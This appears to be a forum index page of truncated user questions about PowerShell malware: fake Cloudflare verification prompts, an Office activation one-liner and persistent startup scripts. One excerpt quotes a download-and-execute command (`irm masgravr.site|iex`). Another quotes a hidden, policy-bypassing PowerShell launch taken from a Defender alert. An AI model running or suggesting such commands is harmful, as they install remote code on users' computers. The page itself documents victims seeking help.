PowerShell malware

I Ran a Fake Cloudflare Verification Command—How Can I Know if Windows Is Safe?

I visited a page that appeared to be a Cloudflare verification screen and followed its instructions to open a Windows command interface, paste a command, and press Enter.…

I ran a fake Cloudflare PowerShell verification command—what should I do now?

I visited a website that appeared to be a Cloudflare verification page and was instructed to press Win+X, choose a menu option, paste a command, and press Enter.…

I ran a fake browser verification command—how compromised is my computer?

I fell for a fake verification prompt that told me to press Win+R, paste a command, and press Enter. I ran a PowerShell command that downloaded and executed…

How can I remove a PowerShell-launched DLL that keeps returning at startup?

This week my antivirus started detecting a newly created DLL in my temporary folder whenever I boot my PC. Full scans and an offline boot-time scan have come…

How can I remove a PowerShell-launched DLL that keeps returning at startup?

This week, my antivirus started detecting a newly created DLL in my temporary files whenever I boot my PC. Full and boot-time scans report no other infections, but…

I ran a PowerShell command from a random site to activate Office—what should I do?

I used the command `irm masgravr.site|iex` in PowerShell to activate Microsoft Office because I couldn't afford a license. It appeared to work, but I'm now concerned that the…

Microsoft Defender keeps detecting the same PowerShell trojan every minute

Microsoft Defender repeatedly detects Trojan:Win32/Commando.A!ml on my laptop, even though it says the threat was blocked. The alert points to this command: C:WindowsPowerShellv1.0powershell.exe -ep bypass -w h C:ProgramDataburst.bat.…

My PC may be compromised after running a suspicious PowerShell command

I'm worried that my computer has been infected after someone ran a PowerShell command that downloaded and executed a script from an unfamiliar website. The command used an…

My PC ran a suspicious PowerShell command and Steam stopped working—what should I do?

I'm worried that my computer has been compromised. Someone ran a PowerShell command that downloaded and executed a script from an unfamiliar website, apparently disguised as an anti-cheat…

I ran a PowerShell one-liner from a video—how do I know if my PC is safe?

I was trying to install a game from my existing library onto a separate drive, but the installation kept taking a long time and occasionally failed. I found…

I Ran a Suspicious PowerShell Command to Download a Minecraft Map—What Should I Do?

My brother tried to download a Minecraft map and encountered a fake human-verification prompt. It instructed him to press Windows+R, paste a command, and run it. The command…

PowerShell Script Running at Startup Is Connecting to a Remote Server—What Should I Do?

My Windows PC recently started opening PowerShell during startup and displaying an error about a script trying to copy itself over the same file. The script is located…